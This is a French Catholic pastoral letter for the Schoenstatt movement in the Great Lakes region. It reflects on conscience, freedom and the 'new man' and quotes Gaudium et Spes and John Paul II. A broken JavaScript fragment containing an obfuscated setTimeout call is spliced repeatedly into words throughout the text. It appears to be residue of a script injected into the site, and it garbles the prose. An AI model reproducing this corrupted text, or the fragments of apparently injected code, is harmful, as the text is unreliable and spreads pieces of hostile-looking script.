Devise 2018-2020 :

« Dans l’Alliance d’Amour avec Marie, bâtissons une famille fidèle au charisme du Père »

Sous -devise : « Ma Conscience, pilier de ma liberté »

Parole de Dieu : Gn 1,26-31

Chère famille de Schoenstatt, notre histoire est une histoire sainte et nous en sommes émerveillés. La Providence divine ne cesse de nous guider à travers les événements de chaque jour et les porte de la joie, de l’espérance et de la victoire s’ouvrent devant nous. Ainsi, nous avançons constamment et joyeusement dans le Royaume de la liberté, le Royaume de la MTA, le Royaume de Schoenstatt. Avec l’année apostolique 2019-2020, nous entrons dans une nouvelle ère de notre histoire : c’estl’année de la mission telle que nos pères les évêques nous l’ont signifié. Pour réussir notre mission, nous n’avons à notre disposition que le sceptre de Marie, Mère et Educatrice. Notre époque a besoin des personnalités au caractère libre, ferme et sacerdotal. Ainsi, comme famille de Schoenstatt dans la région des Grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands-Lacs, nous nous focaliserons plus sur la formation de l’homme nouveau. La sous-devise : «Ma conscience, pilier de la vraie liberté », nous sera d’une grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande utilité.

Répondre à sa mission d’homme est une aspiration profonde de toute créature humaine et le moteur fondamental de toutes ses réalisations dans le monde. Notre époque connaît une crise d’homme : ou bien l’homme ne comprend pas suffisamment sa mission, ou bien il la comprend mal, ou peut être qu’il n’y comprend rien. L’une comme l’autre de ces situations rendent difficile voire impossible la réalisation parfaite de sa vocation d’homme nouveau. Comprendre la vocation de l’homme nouveau, c’est avoir une attention particulière sur le sens ultime de la vie humaine. C’est par amour et pour l’amour que Dieu nous a créés, et par ce même amour, il nous garantit constamment le bonheur. La vie est entre nos mains et il convient d’intérioriser que nous la tenons de Dieu, Lui qui nous a créés à son image et nous a destinés à entrer dans sa gloire éternelle. Nous sommes responsables de notre vie grâce à la force de la liberté que Dieu nous a donnée et qui fonde notre dignité. La vie nous est donnée, c’est à nous de l’assumer, de la faire mûrir, de l’épanouir. Dieu nous a créés pour le bonheur, la joie et la vie éternelle, mais il nous revient  de les conquérir. La liberté étant le plus grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and don divin, vit le bonheur celui qui s’abdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andonne  librement et joyeusement à Dieu.

J’ouvre une grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande parenthèse pour laisser le Concile Vatican II nous entretenir à ce sujetdans sa Constitution pastorale Gaudium et Spes (l’Eglise dans le monde de ce temps) en ses numéros 16 et 17:

Numéro 16  de Gaudium et Spes: Dignité de la conscience morale

« Au fond de sa conscience, l’homme découvre la présence d’une loi qu’il ne s’est pas donnée lui-même, mais à laquelle il est tenu d’obéir. Cette voix, qui ne cesse de le presser d’aimer et d’accomplir le bien et d’éviter le mal, au moment opportun résonne dans l’intimité de son cœur : « Fais ceci, évite cela ». Car c’est une loi inscrite par Dieu au cœur de l’homme ; sa dignité est de lui obéir, et c’est elle qui le jugera. La conscience est le centre le plus secret de l’homme, le sanctuaire où il est seul avec Dieu et où sa voix se fait entendre. C’est d’une manière admirable que se découvre à la conscience cette loi qui s’accomplit dans l’amour de Dieu et du prochain. Par fidélité à la conscience, les chrétiens, unis aux autres hommes, doivent chercher ensemble la vérité et la solution juste de tant de problèmes moraux que soulèvent aussi bien la vie privée que la vie sociale. Plus la conscience droite l’emporte, plus les personnes et les groupes s’éloignent d’une décision aveugle et tendent à se conformer aux normes objectives de la moralité. Toutefois, il arrive souvent que la conscience s’égare, par suite d’une ignorance invincible, sans perdre pour autant sa dignité. Ce que l’on ne peut dire lorsque l’homme se soucie peu de rechercher le vrai et le bien et lorsque l’habitude du péché rend peu à peu sa conscience presque aveugle ».

Numero 17  de Gaudium et Spes : Grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeur de la liberté

« C’est toujours librement que l’homme se tourne vers le bien. Cette liberté, nos contemporains l’estiment grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andement et ils la poursuivent avec ardeur. Et ils ont raison. Souvent cependant ils la chérissent d’une manière qui n’est pas droite, comme la licence de faire n’importe quoi, pourvu que cela plaise, même le mal. Mais la vraie liberté est en l’homme un signe privilégié de l’image divine. Car Dieu a voulu le laisser à son propre conseil pour qu’il puisse de lui-même chercher son Créateur et, en adhérant librement à lui, s’achever ainsi dans une bienheureuse plénitude. La dignité de l’homme exige donc de lui qu’il agisse selon un choix conscient et libre, mû et déterminé par une conviction personnelle et non sous le seul effet de poussées instinctives ou d’une contrainte extérieure. L’homme parvient à cette dignité lorsque, se délivrant de toute servitude des passions, par le choix libre du bien, il marche vers sa destinée et prend soin de s’en procurer réellement les moyens par son ingéniosité. Ce n’est toutefois que par le secours de la grâce divine que la liberté humaine, blessée par le péché, peut s’ordonner à Dieu d’une manière effective et intégrale. Et chacun devra rendre compte de sa propre vie devant le tribunal de Dieu, selon le bien ou le mal accompli ».

L’homme nouveau c’est un homme de foi configuré au Christ Seigneur. «La foi dans le Christ qui nous oblige à aimer Dieu et l’homme comme un frère, nous enseigne à le voir dans toute la profondeur de sa valeur transcendante. La foi doit donc être le grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and élan qui pousse à travailler en faveur de la promotion intégrale de la personne humaine» (JEAN PAUL II, Textes essentiels (Présentés par PLOUX, J.M.), éd. Atelier-Ouvrières, Paris, 2005, 23)

Un homme de foi c’est un homme accompli capable de répondre à sa vocation d’homme. Il veille à ce que règne l’harmonie entre Dieu, les hommes et toute la création.

Doté d’une âme spirituelle et immortelle, la personne humaine et la seule créature  sur la terre que Dieu a voulue pour elle-même. Dès sa conception, elle est destinée à la béatitude éternelle. La grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeur et la dignité de l’homme c’est d’obéir à Dieu. L’homme a été créé à l’image de Dieu (Gn1, 27). Etant capable de connaître et d’aimer son Créateur, il a été constitué seigneur de toutes les créatures terrestres pour les dominer.  Mais alors, la mission de l’homme nouveau serait-elle une joie ou une contrainte ? Une dignité ou un défi? Serait-il possible de réaliser pleinement sa mission d’homme nouveau ? Pourquoi et comment réaliser sa vocation d’homme ?

            La réponse à toutes ces questions se veut être Schoenstatt dans son intégralité, Schoesntatt au service de la vie, Schoenstatt au service de la foi, Schoenstatt au service de l’espérance pour les temps nouveaux, Schoenstatt au service de l’Eglise et des sociétés. L’homme est à promouvoir intégralement tdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andis que le monde est à bâtir en le référant au Créateur qui nous appelle constamment à entrer en communion avec Lui. L’homme, comme être intelligent et libre, est sujet des droits et des devoirs, mais il revient à lui, d’une part  de conquérir ces droits, et d’autres part, de s’acquitter droitement de ses devoirs pour atteindre le bonheur vers lequel il est sans cesse orienté.  Notre vie et notre histoire trouvent leur sens et leur achèvement en Jésus Christ, le Fils unique du Père, qui s’est uni pour toujours à l’humanité en prenant chair dans le sein de la Sainte Vierge Marie.

Chère famille de Schoenstatt, les paroles de notre Père et Fondateur Joseph Kentenich doivent de nouveau retentir dans nos oreilles et cela de façon constante : Un homme nouveau garde son oreille sur le cœur de Dieu et sa main sur les pouls du temps pour la gloire de Dieu et le salut des hommes. Puisse Marie notre Mère et Reine Trois fois Admirable de Schoenstatt nous éduquer constamment pour faire de nous des hommes nouveaux, libres et sauvés. Mater habebit perfectam curam !

Père Longin Ntiranyibagira, Isch.

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